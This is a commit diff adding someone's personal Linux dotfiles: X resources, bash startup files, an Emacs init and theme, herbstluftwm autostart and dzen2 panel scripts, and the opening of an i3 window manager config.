Commit Diff


commit - /dev/null
commit + 39ad9735ce4e3bd74a186632ad73fecace9ae708
blob - /dev/null
blob + 204aa53967db08853b3404f5c68e9e6762d1a7ef (mode 755)
--- /dev/null
+++ .Xresources
@@ -0,0 +1,94 @@
+!   __   __                                            
+!   \ \ / /                                            
+!    \ V / _ __ ___  ___  ___  _   _ _ __ ___ ___  ___ 
+!     > < | '__/ _ \/ __|/ _ \| | | | '__/ __/ _ \/ __|
+!  _ / . \| | |  __/\__ \ (_) | |_| | | | (_|  __/\__ \
+! (_)_/ \_\_|  \___||___/\___/ \__,_|_|  \___\___||___/
+!                                                      
+!                                                      
+
+!--------------------------------------------------------------------------------
+! Xft settings: 								|
+!--------------------------------------------------------------------------------
+
+Xft.dpi:			96
+Xft.autohint:			0
+Xft.lcdfilter:			lcddefault
+Xft.hintstyle:			hintfull
+Xft.hinting:			1
+Xft.antialias:			1
+Xft.rgba:			rgb
+
+!--------------------------------------------------------------------------------
+! URxvt settings:								|						|
+!--------------------------------------------------------------------------------
+
+URxvt.depth:			32
+URxvt.geometry:			84x32
+URxvt.transparent:		0
+URxvt.fading:			0
+! URxvt.urgentOnBell:		1
+! URxvt.visualBell:		1
+URxvt.loginShell:		1
+URxvt.saveLines:		60
+URxvt.internalBorder:		2
+URxvt.lineSpace:		0
+
+! Fonts.
+URxvt.allow_bold:		0
+/* URxvt.font:                 -*-terminus-medium-r-normal-*-12-120-72-72-c-60-iso8859-1 */
+URxvt*font: 			xft:Monospace:pixelsize=11
+URxvt*boldFont:			xft:Monospace:pixelsize=11
+
+! Fix font space.
+URxvt*letterSpace:		-1
+
+! Scrollbar.
+URxvt.scrollStyle:		rxvt
+URxvt.scrollBar:		0
+
+! Perl extensions.
+URxvt.perl-ext-common:		default,matcher
+URxvt.matcher.button:		1
+URxvt.urlLauncher:		firefox-esr
+
+! Cursor.
+URxvt.cursorBlink:		0
+URxvt.cursorColor:		#00ee00
+URxvt.cursorUnderline:		0
+
+! Pointer.
+URxvt.pointerBlank:		1
+
+*background:			#030007
+*foreground:			#00dd00
+!!*fading:			40
+*fadeColor:			#880000
+*cursorColor:			#880000
+*pointerColorBackground:	#586e75
+*pointerColorForeground:	#93a1a1
+
+! *color1:			#073642
+! *color2:			#073642
+! *color3:			#073642
+! *color4:			#073642
+! *color5:			#073642
+! *color6:			#073642
+! *color7:			#073642
+! *color8:			#073642
+! *color9:			#073642
+
+! green
+*color10:			#228822
+
+! *color11:			#073642
+
+! blue
+*color12:			#004088
+
+! *color13:			#073642
+
+! cyan
+*color14:			#006088
+
+! *color15:			#073642
blob - /dev/null
blob + b1373e56c19769b771b19001a070abbe77fe22ed (mode 755)
--- /dev/null
+++ .Xresources_mac
@@ -0,0 +1,94 @@
+!   __   __                                            
+!   \ \ / /                                            
+!    \ V / _ __ ___  ___  ___  _   _ _ __ ___ ___  ___ 
+!     > < | '__/ _ \/ __|/ _ \| | | | '__/ __/ _ \/ __|
+!  _ / . \| | |  __/\__ \ (_) | |_| | | | (_|  __/\__ \
+! (_)_/ \_\_|  \___||___/\___/ \__,_|_|  \___\___||___/
+!                                                      
+!                                                      
+
+!--------------------------------------------------------------------------------
+! Xft settings: 								|
+!--------------------------------------------------------------------------------
+
+Xft.dpi:			227
+Xft.autohint:			0
+Xft.lcdfilter:			lcddefault
+Xft.hintstyle:			hintfull
+Xft.hinting:			1
+Xft.antialias:			1
+Xft.rgba:			rgb
+
+!--------------------------------------------------------------------------------
+! URxvt settings:								|						|
+!--------------------------------------------------------------------------------
+
+URxvt.depth:			32
+URxvt.geometry:			84x32
+URxvt.transparent:		0
+URxvt.fading:			0
+! URxvt.urgentOnBell:		1
+! URxvt.visualBell:		1
+URxvt.loginShell:		1
+URxvt.saveLines:		60
+URxvt.internalBorder:		2
+URxvt.lineSpace:		0
+
+! Fonts.
+URxvt.allow_bold:		0
+/* URxvt.font:                 -*-terminus-medium-r-normal-*-12-120-72-72-c-60-iso8859-1 */
+URxvt*font: 			xft:Monospace:pixelsize=20
+URxvt*boldFont:			xft:Monospace:pixelsize=20
+
+! Fix font space.
+URxvt*letterSpace:		-1
+
+! Scrollbar.
+URxvt.scrollStyle:		rxvt
+URxvt.scrollBar:		0
+
+! Perl extensions.
+URxvt.perl-ext-common:		default,matcher
+URxvt.matcher.button:		1
+URxvt.urlLauncher:		firefox-esr
+
+! Cursor.
+URxvt.cursorBlink:		0
+URxvt.cursorColor:		#004400
+URxvt.cursorUnderline:		1
+
+! Pointer.
+URxvt.pointerBlank:		1
+
+*background:			#000000
+*foreground:			#006600
+!!*fading:			40
+*fadeColor:			#880000
+*cursorColor:			#880000
+*pointerColorBackground:	#586e75
+*pointerColorForeground:	#93a1a1
+
+! *color1:			#073642
+! *color2:			#073642
+! *color3:			#073642
+! *color4:			#073642
+! *color5:			#073642
+! *color6:			#073642
+! *color7:			#073642
+! *color8:			#073642
+! *color9:			#073642
+
+! green
+*color10:			#228822
+
+! *color11:			#073642
+
+! blue
+*color12:			#004088
+
+! *color13:			#073642
+
+! cyan
+*color14:			#006088
+
+! *color15:			#073642
blob - /dev/null
blob + 09651360590d575f8c95efb75a03dfff1b3b54fd (mode 755)
--- /dev/null
+++ .bash_profile
@@ -0,0 +1,7 @@
+#
+# ~/.bash_profile
+#
+
+[[ -f ~/.bashrc ]] && . ~/.bashrc
+
+startx
blob - /dev/null
blob + 44fbcdb2f9f559325af64ac97a946577de812355 (mode 755)
--- /dev/null
+++ .bashrc
@@ -0,0 +1,37 @@
+#    _               _              
+#   | |             | |             
+#   | |__   __ _ ___| |__  _ __ ___ 
+#   | '_ \ / _` / __| '_ \| '__/ __|
+#  _| |_) | (_| \__ \ | | | | | (__ 
+# (_)_.__/ \__,_|___/_| |_|_|  \___|
+
+# REMINDER: Use ' for strings and " for programming.
+
+# Source global definitions
+if [ -f /etc/bashrc ]; then
+	. /etc/bashrc
+fi
+
+# Exports.
+# root: PS1='\033[01;33m\]\h\033[00m\]:\033[01;34m\]\w\033[01;31m\]\$\033[00m\] '
+export PS1='\033[01;33m\]\h\033[00m\]:\033[01;34m\]\w\033[01;32m\]\$\033[00m\] '
+export EDITOR="/usr/bin/vim"
+# export PATH="/folder/bin:$PATH"
+
+# Functions.
+filesize () {
+	name=$1
+	
+	if [[ -n "$name" ]]; then
+		ls -aGhl $name | awk -F " " {'print $4'}
+		stat -c%s $name
+		wc -c $name | awk -F " " {'print $1'}
+		
+	else
+		echo "Argument error!"
+	fi
+}
+
+# Aliases.
+alias emacs='emacs -nw'
+alias ls='exa'
blob - /dev/null
blob + f0631bdc466311b711c44c6a72b2c5a5dffb9679 (mode 755)
--- /dev/null
+++ .compton.conf
@@ -0,0 +1,6 @@
+# Fading
+fading = true;                  # Fade windows during opacity changes.
+fade-delta = 12;                # The time between steps in a fade in milliseconds. (default 10).
+fade-in-step = 0.15;            # Opacity change between steps while fading in. (default 0.028).
+fade-out-step = 0.15;           # Opacity change between steps while fading out. (default 0.03).
+no-fading-openclose = false;    # Fade windows in/out when opening/closing.
blob - /dev/null
blob + cc106c0abbcbc9ba47c05bb74fa6b2fa28bdd988 (mode 755)
--- /dev/null
+++ .config/emacs/init.el
@@ -0,0 +1,67 @@
+;; Disable toolbar.
+;; (menu-bar-mode -1)
+
+;; Disable backups.
+(setq make-backup-files nil)
+
+;; Set line numbers to display.
+(when (version<= "26.0.50" emacs-version )
+  (global-display-line-numbers-mode))
+
+;; %H = 24hr, e.g 02:33. %k = blank-padded, e.g: 2:33.
+;; %I = 12hr. %l = blank-padded.
+;; %M = minutes.
+;; %S = seconds.
+;; %p = am/pm.
+(setq display-time-format "%l:%M(%p)")
+(display-time-mode 1)
+
+;; Set html-mode for .php files.
+(setq auto-mode-alist
+      (append '((".*\\.php\\'" . html-mode))
+              auto-mode-alist))
+
+;; Windmove window controls.
+(global-set-key (kbd "C-c <left>")  'windmove-left)
+(global-set-key (kbd "C-c <right>") 'windmove-right)
+(global-set-key (kbd "C-c <up>")    'windmove-up)
+(global-set-key (kbd "C-c <down>")  'windmove-down)
+
+;; Theme.
+(setq theme-file "~/.config/emacs/theme.el")
+(load theme-file)
+
+;; Evil mode.
+;; Enable MELPA to install evil mode and neotree. ('M-x package-refresh-contents' then 'M-x package-install RET <pkg>').
+;; Current pkg list: dired-sidebar, evil and evil-collection.
+(require 'package)
+(add-to-list 'package-archives '("melpa" . "https://melpa.org/packages/"))
+(package-initialize)
+;; Evil mode.
+(setq evil-want-keybinding nil)
+(require 'evil)
+(evil-mode 1)
+(require 'evil-collection)
+
+;; Dired-sidebar.
+(add-hook 'emacs-startup-hook #'dired-sidebar-toggle-sidebar)
+(use-package dired-sidebar
+  :bind (("C-x C-n" . dired-sidebar-toggle-sidebar))
+  :ensure t
+  :commands (dired-sidebar-toggle-sidebar)
+  :init
+  (add-hook 'dired-sidebar-mode-hook
+            (lambda ()
+              (unless (file-remote-p default-directory)
+                (auto-revert-mode))))
+  :config
+  (push 'toggle-window-split dired-sidebar-toggle-hidden-commands)
+  (push 'rotate-windows dired-sidebar-toggle-hidden-commands)
+
+  (setq dired-sidebar-subtree-line-prefix "__")
+  (setq dired-sidebar-theme 'none)
+  (setq dired-sidebar-use-term-integration t)
+  (setq dired-sidebar-use-custom-font t))
+  (setq dired-sidebar-width 40)
+  (setq dired-sidebar-display-alist '((side . right)))
+  (setq dired-sidebar-pop-to-sidebar-on-toggle-open nil)
blob - /dev/null
blob + 3b5ab4ccccd60623bafd27840f9a6ed5be207675 (mode 755)
--- /dev/null
+++ .config/emacs/theme.el
@@ -0,0 +1,117 @@
+;;; deeper-blue-theme.el --- Custom theme for faces
+
+;; Copyright (C) 2011-2014 Free Software Foundation, Inc.
+
+;; Author: Scott Frazer <[email protected]>
+
+;; This file is part of GNU Emacs.
+
+;; GNU Emacs is free software: you can redistribute it and/or modify
+;; it under the terms of the GNU General Public License as published by
+;; the Free Software Foundation, either version 3 of the License, or
+;; (at your option) any later version.
+
+;; GNU Emacs is distributed in the hope that it will be useful,
+;; but WITHOUT ANY WARRANTY; without even the implied warranty of
+;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+;; GNU General Public License for more details.
+
+;; You should have received a copy of the GNU General Public License
+;; along with GNU Emacs.  If not, see <http://www.gnu.org/licenses/>.
+
+;;; Code:
+
+(deftheme deeper-blue
+  "Face colors using a deep blue background.")
+
+(let ((class '((class color) (min-colors 89))))
+  (custom-theme-set-faces
+   'deeper-blue
+   `(Info-title-1-face ((,class (:family "helv" :weight bold :height 1.728))))
+   `(Info-title-2-face ((,class (:family "helv" :weight bold :height 1.44))))
+   `(Info-title-3-face ((,class (:family "helv" :weight bold :height 1.2))))
+   `(Info-title-4-face ((,class (:family "helv" :weight bold))))
+   `(compilation-column-number ((,class (:foreground "LightGreen"))))
+   `(compilation-error ((,class (:foreground "Red1"))))
+   `(compilation-info ((,class (:weight normal :foreground "LightSkyBlue"))))
+   `(compilation-line-number ((,class (:foreground "LightGreen"))))
+   `(compilation-mode-line-exit ((,class (:foreground "blue4"))))
+   `(cperl-array-face ((,class (:foreground "yellow2"))))
+   `(cperl-hash-face ((,class (:foreground "coral1"))))
+   `(cursor ((,class (:background "green"))))
+   `(default ((,class (:background "#181a26" :foreground "gray80"))))
+   ;; `(diff-added ((,class (nil))))
+   ;; `(diff-changed ((,class (nil))))
+   `(diff-context ((,class (:foreground "seashell4"))))
+   `(diff-file-header ((,class (:background "grey60"))))
+   `(diff-function ((,class (:inherit diff-header))))
+   `(diff-header ((,class (:background "grey45"))))
+   `(diff-hunk-header ((,class (:inherit diff-header))))
+   `(diff-index ((,class (:inherit diff-file-header))))
+   `(diff-indicator-added ((,class (:foreground "white" :background "darkolivegreen"))))
+   `(diff-indicator-changed ((,class (:foreground "white" :background "dodgerblue4"))))
+   `(diff-indicator-removed ((,class (:foreground "white" :background "indianred4"))))
+   `(diff-refine-change ((,class (:background "skyblue4"))))
+   ;; `(diff-removed ((,class (nil))))
+   `(dired-marked ((,class (:background "dodgerblue3" :foreground "white"))))
+   `(ediff-current-diff-A ((,class (:background "green4" :foreground "white"))))
+   `(ediff-current-diff-B ((,class (:background "darkorange3" :foreground "white"))))
+   `(ediff-even-diff-B ((,class (:background "Grey50" :foreground "White"))))
+   `(ediff-fine-diff-A ((,class (:background "skyblue4" :foreground "white"))))
+   `(ediff-fine-diff-B ((,class (:background "cyan4" :foreground "white"))))
+   `(ediff-odd-diff-A ((,class (:background "Grey50" :foreground "White"))))
+   `(error ((,class (:foreground "red"))))
+   `(flymake-errline ((,class (:background nil :underline "red"))))
+   `(flymake-warnline ((,class (:background nil :underline "magenta3"))))
+   `(font-lock-builtin-face ((,class (:foreground "LightCoral"))))
+   `(font-lock-comment-delimiter-face ((,class (:foreground "gray50"))))
+   `(font-lock-comment-face ((,class (:foreground "gray50"))))
+   `(font-lock-constant-face ((,class (:foreground "DarkOliveGreen3"))))
+   `(font-lock-doc-face ((,class (:foreground "moccasin"))))
+   `(font-lock-doc-string-face ((,class (:foreground "moccasin"))))
+   `(font-lock-function-name-face ((,class (:foreground "goldenrod"))))
+   `(font-lock-keyword-face ((,class (:foreground "DeepSkyBlue1"))))
+   `(font-lock-preprocessor-face ((,class (:foreground "gold"))))
+   `(font-lock-reference-face ((,class (:foreground "LightCoral"))))
+   `(font-lock-regexp-grouping-backslash ((,class (:weight bold))))
+   `(font-lock-regexp-grouping-construct ((,class (:weight bold))))
+   `(font-lock-string-face ((,class (:foreground "burlywood"))))
+   `(font-lock-type-face ((,class (:foreground "CadetBlue1"))))
+   `(font-lock-variable-name-face ((,class (:foreground "SeaGreen2"))))
+   `(fringe ((,class (:background "black"))))
+   `(highlight ((,class (:background "DodgerBlue4"))))
+   `(ido-first-match ((,class (:weight normal :foreground "orange"))))
+   `(ido-only-match ((,class (:foreground "green"))))
+   `(ido-subdir ((,class (:foreground nil :inherit font-lock-keyword-face))))
+   `(info-header-node ((,class (:foreground "DeepSkyBlue1"))))
+   `(info-header-xref ((,class (:foreground "SeaGreen2"))))
+   `(info-menu-header ((,class (:family "helv" :weight bold))))
+   `(info-node ((,class (:foreground "DeepSkyBlue1"))))
+   `(info-xref ((,class (:foreground "SeaGreen2"))))
+   `(isearch ((,class (:background "coral2" :foreground "white"))))
+   `(isearch-lazy-highlight-face ((,class (:background "coral4" :foreground "white"))))
+   `(lazy-highlight ((,class (:background "cadetblue" :foreground "white"))))
+   `(match ((,class (:background "DeepPink4"))))
+   `(minibuffer-prompt ((,class (:foreground "CadetBlue1"))))
+   `(mode-line ((,class (:background "gray75" :foreground "black" :box (:line-width 1 :style released-button)))))
+   `(mode-line-buffer-id ((,class (:weight bold :background nil :foreground "blue4"))))
+   `(mode-line-inactive ((,class (:background "gray40" :foreground "black" :box (:line-width 1 :color "gray40" :style nil)))))
+   `(outline-1 ((,class (:foreground "SkyBlue1"))))
+   `(outline-2 ((,class (:foreground "CadetBlue1"))))
+   `(outline-3 ((,class (:foreground "LightSteelBlue1"))))
+   `(outline-4 ((,class (:foreground "turquoise2"))))
+   `(outline-5 ((,class (:foreground "aquamarine1"))))
+   `(primary-selection ((,class (:background "blue3"))))
+   `(region ((,class (:background "#103050"))))
+   `(show-paren-match-face ((,class (:background "dodgerblue1" :foreground "white"))))
+   `(show-paren-mismatch-face ((,class (:background "red1" :foreground "white"))))
+   `(success ((,class (:foreground "SeaGreen2"))))
+   `(warning ((,class (:foreground "Yellow"))))))
+
+(provide-theme 'deeper-blue)
+
+;; Local Variables:
+;; no-byte-compile: t
+;; End:
+
+;;; deeper-blue-theme.el ends here
blob - /dev/null
blob + 4b5c307ce29298912faae540135d5642da5dbb15 (mode 755)
--- /dev/null
+++ .config/herbstluftwm/autostart
@@ -0,0 +1,179 @@
+#!/usr/bin/env bash
+
+# this is a simple config for herbstluftwm
+
+hc() {
+    herbstclient "$@"
+}
+
+hc emit_hook reload
+
+xsetroot -solid '#222222'
+
+# remove all existing keybindings
+hc keyunbind --all
+
+# keybindings
+# if you have a super key you will be much happier with Mod set to Mod4
+#Mod=Mod1    # Use alt as the main modifier
+Mod=Mod4   # Use the super key as the main modifier
+
+hc keybind $Mod-Shift-q quit
+hc keybind $Mod-Shift-r reload
+hc keybind $Mod-Shift-c close
+#hc keybind $Mod-Return spawn ${TERMINAL:-xterm} # use your $TERMINAL with xterm as fallback
+hc keybind $Mod-Return spawn urxvt
+hc keybind $Mod-space spawn rofi -show run -modi run -location 7 -width 100 \
+		 -lines 2 -line-margin 0 -line-padding 1 \
+		 -separator-style none -font "mono 10" -columns 9 -bw 0 \
+		 -disable-history \
+		 -hide-scrollbar \
+		 -color-window "#222222, #222222, #b1b4b3" \
+		 -color-normal "#222222, #b1b4b3, #222222, #005577, #b1b4b3" \
+		 -color-active "#222222, #b1b4b3, #222222, #007763, #b1b4b3" \
+		 -color-urgent "#222222, #b1b4b3, #222222, #77003d, #b1b4b3" \
+		 -kb-row-select "Tab" -kb-row-tab ""
+
+# basic movement
+# focusing clients
+hc keybind $Mod-Left  focus left
+hc keybind $Mod-Down  focus down
+hc keybind $Mod-Up    focus up
+hc keybind $Mod-Right focus right
+hc keybind $Mod-h     focus left
+hc keybind $Mod-j     focus down
+hc keybind $Mod-k     focus up
+hc keybind $Mod-l     focus right
+
+# moving clients
+hc keybind $Mod-Shift-Left  shift left
+hc keybind $Mod-Shift-Down  shift down
+hc keybind $Mod-Shift-Up    shift up
+hc keybind $Mod-Shift-Right shift right
+hc keybind $Mod-Shift-h     shift left
+hc keybind $Mod-Shift-j     shift down
+hc keybind $Mod-Shift-k     shift up
+hc keybind $Mod-Shift-l     shift right
+
+# splitting frames
+# create an empty frame at the specified direction
+hc keybind $Mod-u       split   bottom  0.5
+hc keybind $Mod-o       split   right   0.5
+# let the current frame explode into subframes
+hc keybind $Mod-Control-space split explode
+
+# resizing frames
+resizestep=0.05
+hc keybind $Mod-Control-h       resize left +$resizestep
+hc keybind $Mod-Control-j       resize down +$resizestep
+hc keybind $Mod-Control-k       resize up +$resizestep
+hc keybind $Mod-Control-l       resize right +$resizestep
+hc keybind $Mod-Control-Left    resize left +$resizestep
+hc keybind $Mod-Control-Down    resize down +$resizestep
+hc keybind $Mod-Control-Up      resize up +$resizestep
+hc keybind $Mod-Control-Right   resize right +$resizestep
+
+# tags
+tag_names=( {1..9} )
+tag_keys=( {1..9} 0 )
+
+hc rename default "${tag_names[0]}" || true
+for i in ${!tag_names[@]} ; do
+    hc add "${tag_names[$i]}"
+    key="${tag_keys[$i]}"
+    if ! [ -z "$key" ] ; then
+        hc keybind "$Mod-$key" use_index "$i"
+        hc keybind "$Mod-Shift-$key" move_index "$i"
+    fi
+done
+
+# cycle through tags
+hc keybind $Mod-period use_index +1 --skip-visible
+hc keybind $Mod-comma  use_index -1 --skip-visible
+
+# layouting
+hc keybind $Mod-r remove
+hc keybind $Mod-s floating toggle
+hc keybind $Mod-f fullscreen toggle
+hc keybind $Mod-p pseudotile toggle
+# The following cycles through the available layouts within a frame, but skips
+# layouts, if the layout change wouldn't affect the actual window positions.
+# I.e. if there are two windows within a frame, the grid layout is skipped.
+hc keybind $Mod-b                                                           \
+            or , and . compare tags.focus.curframe_wcount = 2                   \
+                     . cycle_layout +1 vertical horizontal max vertical grid    \
+               , cycle_layout +1
+
+# mouse
+hc mouseunbind --all
+hc mousebind $Mod-Button1 move
+hc mousebind $Mod-Button2 zoom
+hc mousebind $Mod-Button3 resize
+
+# focus
+hc keybind $Mod-BackSpace   cycle_monitor
+hc keybind $Mod-Tab         cycle_all +1
+hc keybind $Mod-Shift-Tab   cycle_all -1
+hc keybind $Mod-c cycle
+hc keybind $Mod-i jumpto urgent
+
+# theme
+hc attr theme.tiling.reset 1
+hc attr theme.floating.reset 1
+hc set frame_border_active_color '#222222'
+hc set frame_border_normal_color '#101010'
+hc set frame_bg_normal_color '#565656'
+hc set frame_bg_active_color '#345F0C'
+hc set frame_border_width 1
+hc set always_show_frame 1
+hc set frame_bg_transparent 1
+hc set frame_transparent_width 5
+hc set frame_gap 4
+
+hc attr theme.active.color '#9fbc00'
+hc attr theme.normal.color '#454545'
+hc attr theme.urgent.color orange
+hc attr theme.inner_width 1
+hc attr theme.inner_color black
+hc attr theme.border_width 3
+hc attr theme.floating.border_width 4
+hc attr theme.floating.outer_width 1
+hc attr theme.floating.outer_color black
+hc attr theme.active.inner_color '#3E4A00'
+hc attr theme.active.outer_color '#3E4A00'
+hc attr theme.background_color '#141414'
+
+hc set window_gap 0
+hc set frame_padding 0
+hc set smart_window_surroundings 0
+hc set smart_frame_surroundings 1
+hc set mouse_recenter_gap 0
+
+# rules
+hc unrule -F
+#hc rule class=XTerm tag=3 # move all xterms to tag 3
+hc rule focus=on # normally focus new clients
+#hc rule focus=off # normally do not focus new clients
+# give focus to most common terminals
+#hc rule class~'(.*[Rr]xvt.*|.*[Tt]erm|Konsole)' focus=on
+hc rule windowtype~'_NET_WM_WINDOW_TYPE_(DIALOG|UTILITY|SPLASH)' pseudotile=on
+hc rule windowtype='_NET_WM_WINDOW_TYPE_DIALOG' focus=on
+hc rule windowtype~'_NET_WM_WINDOW_TYPE_(NOTIFICATION|DOCK|DESKTOP)' manage=off
+
+hc set tree_style '╾│ ├└╼─┐'
+
+# unlock, just to be sure
+hc unlock
+
+# do multi monitor setup here, e.g.:
+# hc set_monitors 1280x1024+0+0 1280x1024+1280+0
+# or simply:
+# hc detect_monitors
+
+# find the panel
+panel=~/.config/herbstluftwm/panel.sh
+[ -x "$panel" ] || panel=/etc/xdg/herbstluftwm/panel.sh
+for monitor in $(herbstclient list_monitors | cut -d: -f1) ; do
+    # start it on each monitor
+    "$panel" $monitor &
+done
blob - /dev/null
blob + 1a8e498868293adfd077ade15b2b1417d2e68340 (mode 755)
--- /dev/null
+++ .config/herbstluftwm/panel.sh
@@ -0,0 +1,187 @@
+#!/usr/bin/env bash
+
+quote() {
+	local q="$(printf '%q ' "$@")"
+	printf '%s' "${q% }"
+}
+
+hc_quoted="$(quote "${herbstclient_command[@]:-herbstclient}")"
+hc() { "${herbstclient_command[@]:-herbstclient}" "$@" ;}
+monitor=${1:-0}
+geometry=( $(hc monitor_rect "$monitor") )
+if [ -z "$geometry" ] ;then
+    echo "Invalid monitor $monitor"
+    exit 1
+fi
+# geometry has the format W H X Y
+x=${geometry[0]}
+y=${geometry[1]}
+panel_width=${geometry[2]}
+panel_height=16
+font="-*-fixed-medium-*-*-*-12-*-*-*-*-*-*-*"
+bgcolor=$(hc get frame_border_normal_color)
+selbg=$(hc get window_border_active_color)
+selfg='#101010'
+
+####
+# Try to find textwidth binary.
+# In e.g. Ubuntu, this is named dzen2-textwidth.
+if which textwidth &> /dev/null ; then
+    textwidth="textwidth";
+elif which dzen2-textwidth &> /dev/null ; then
+    textwidth="dzen2-textwidth";
+else
+    echo "This script requires the textwidth tool of the dzen2 project."
+    exit 1
+fi
+####
+# true if we are using the svn version of dzen2
+# depending on version/distribution, this seems to have version strings like
+# "dzen-" or "dzen-x.x.x-svn"
+if dzen2 -v 2>&1 | head -n 1 | grep -q '^dzen-\([^,]*-svn\|\),'; then
+    dzen2_svn="true"
+else
+    dzen2_svn=""
+fi
+
+if awk -Wv 2>/dev/null | head -1 | grep -q '^mawk'; then
+    # mawk needs "-W interactive" to line-buffer stdout correctly
+    # http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=593504
+    uniq_linebuffered() {
+      awk -W interactive '$0 != l { print ; l=$0 ; fflush(); }' "$@"
+    }
+else
+    # other awk versions (e.g. gawk) issue a warning with "-W interactive", so
+    # we don't want to use it there.
+    uniq_linebuffered() {
+      awk '$0 != l { print ; l=$0 ; fflush(); }' "$@"
+    }
+fi
+
+hc pad $monitor $panel_height
+
+{
+    ### Event generator ###
+    # based on different input data (mpc, date, hlwm hooks, ...) this generates events, formed like this:
+    #   <eventname>\t<data> [...]
+    # e.g.
+    #   date    ^fg(#efefef)18:33^fg(#909090), 2013-10-^fg(#efefef)29
+
+    #mpc idleloop player &
+    while true ; do
+        # "date" output is checked once a second, but an event is only
+        # generated if the output changed compared to the previous run.
+        date +$'date\t^fg(#efefef)%H:%M^fg(#909090), %Y-%m-^fg(#efefef)%d'
+        sleep 1 || break
+    done > >(uniq_linebuffered) &
+    childpid=$!
+    hc --idle
+    kill $childpid
+} 2> /dev/null | {
+    IFS=$'\t' read -ra tags <<< "$(hc tag_status $monitor)"
+    visible=true
+    date=""
+    windowtitle=""
+    while true ; do
+
+        ### Output ###
+        # This part prints dzen data based on the _previous_ data handling run,
+        # and then waits for the next event to happen.
+
+        separator="^bg()^fg($selbg)|"
+        # draw tags
+        for i in "${tags[@]}" ; do
+            case ${i:0:1} in
+                '#')
+                    echo -n "^bg($selbg)^fg($selfg)"
+                    ;;
+                '+')
+                    echo -n "^bg(#9CA668)^fg(#141414)"
+                    ;;
+                ':')
+                    echo -n "^bg()^fg(#ffffff)"
+                    ;;
+                '!')
+                    echo -n "^bg(#FF0675)^fg(#141414)"
+                    ;;
+                *)
+                    echo -n "^bg()^fg(#ababab)"
+                    ;;
+            esac
+            if [ ! -z "$dzen2_svn" ] ; then
+                # clickable tags if using SVN dzen
+                echo -n "^ca(1,$hc_quoted focus_monitor \"$monitor\" && "
+                echo -n "$hc_quoted use \"${i:1}\") ${i:1} ^ca()"
+            else
+                # non-clickable tags if using older dzen
+                echo -n " ${i:1} "
+            fi
+        done
+        echo -n "$separator"
+        echo -n "^bg()^fg() ${windowtitle//^/^^}"
+        # small adjustments
+        right="$separator^bg() $date $separator"
+        right_text_only=$(echo -n "$right" | sed 's.\^[^(]*([^)]*)..g')
+        # get width of right aligned text.. and add some space..
+        width=$($textwidth "$font" "$right_text_only    ")
+        echo -n "^pa($(($panel_width - $width)))$right"
+        echo
+
+        ### Data handling ###
+        # This part handles the events generated in the event loop, and sets
+        # internal variables based on them. The event and its arguments are
+        # read into the array cmd, then action is taken depending on the event
+        # name.
+        # "Special" events (quit_panel/togglehidepanel/reload) are also handled
+        # here.
+
+        # wait for next event
+        IFS=$'\t' read -ra cmd || break
+        # find out event origin
+        case "${cmd[0]}" in
+            tag*)
+                #echo "resetting tags" >&2
+                IFS=$'\t' read -ra tags <<< "$(hc tag_status $monitor)"
+                ;;
+            date)
+                #echo "resetting date" >&2
+                date="${cmd[@]:1}"
+                ;;
+            quit_panel)
+                exit
+                ;;
+            togglehidepanel)
+                currentmonidx=$(hc list_monitors | sed -n '/\[FOCUS\]$/s/:.*//p')
+                if [ "${cmd[1]}" -ne "$monitor" ] ; then
+                    continue
+                fi
+                if [ "${cmd[1]}" = "current" ] && [ "$currentmonidx" -ne "$monitor" ] ; then
+                    continue
+                fi
+                echo "^togglehide()"
+                if $visible ; then
+                    visible=false
+                    hc pad $monitor 0
+                else
+                    visible=true
+                    hc pad $monitor $panel_height
+                fi
+                ;;
+            reload)
+                exit
+                ;;
+            focus_changed|window_title_changed)
+                windowtitle="${cmd[@]:2}"
+                ;;
+            #player)
+            #    ;;
+        esac
+    done
+
+    ### dzen2 ###
+    # After the data is gathered and processed, the output of the previous block
+    # gets piped to dzen2.
+
+} 2> /dev/null | dzen2 -w $panel_width -x $x -y $y -fn "$font" -h $panel_height \
+    -e "button3=;button4=exec:$hc_quoted use_index -1;button5=exec:$hc_quoted use_index +1" \
+    -ta l -bg "$bgcolor" -fg '#efefef'
blob - /dev/null
blob + 774208d1cb2bcf91de550e35ef9347195c8cd034 (mode 755)
--- /dev/null
+++ .config/herbstluftwm/restartpanels.sh
@@ -0,0 +1,16 @@
+#!/usr/bin/env bash
+
+installdir=/
+
+XDG_CONFIG_HOME="${XDG_CONFIG_HOME:-$HOME/.config}"
+defaultpanel="$XDG_CONFIG_HOME/herbstluftwm/panel.sh"
+
+[ -x "$defaultpanel" ] || defaultpanel="$installdir/etc/xdg/herbstluftwm/panel.sh"
+
+panelcmd="${1:-$defaultpanel}"
+
+herbstclient emit_hook quit_panel
+
+for i in $(herbstclient list_monitors | cut -d':' -f1) ; do
+    "$panelcmd" $i &
+done
blob - /dev/null
blob + bf3fb5e438273a4563a9341459a59c164e527c90 (mode 755)
--- /dev/null
+++ .config/i3/config
@@ -0,0 +1,209 @@
+#                    _ ____     _____             __ _       
+#                   (_)___ \   / ____|           / _(_)      
+#                    _  __) | | |     ___  _ __ | |_ _  __ _ 
+#                   | ||__ <  | |    / _ \| '_ \|  _| |/ _` |
+#                   | |___) | | |___| (_) | | | | | | | (_| |
+#                   |_|____/   \_____\___/|_| |_|_| |_|\__, |
+#                                                       __/ |
+#                                                      |___/ 
+
+# Mod key.
+set		$mod	Mod4
+
+# Font.
+#font pango:	Raleway Light,FontAwesome 9
+font pango:	Sans,FontAwesome 9
+
+# Thin borders.
+hide_edge_borders both
+
+# Drag windows.
+floating_modifier $mod
+
+# Change focus.
+bindsym		$mod+h			focus left
+bindsym		$mod+j			focus down
+bindsym		$mod+k			focus up
+bindsym		$mod+l			focus right
+
+bindsym		$mod+Left		focus left
+bindsym		$mod+Down		focus down
+bindsym		$mod+Up			focus up
+bindsym		$mod+Right		focus right
+
+# Lock.
+bindsym		$mod+Shift+x		exec i3lock --color 661111
+
+# Move focused window.
+bindsym		$mod+Shift+h		move left
+bindsym		$mod+Shift+j		move down
+bindsym		$mod+Shift+k		move up
+bindsym		$mod+Shift+l		move right
+
+bindsym		$mod+Shift+Left		move left
+bindsym		$mod+Shift+Down		move down
+bindsym		$mod+Shift+Up		move up
+bindsym		$mod+Shift+Right	move right
+
+# split in horizontal orientation
+bindsym		$mod+b			split h
+
+# split in vertical orientation
+bindsym		$mod+v			split v
+
+# enter fullscreen mode for the focused container
+bindsym		$mod+f			fullscreen
+
+# change container layout
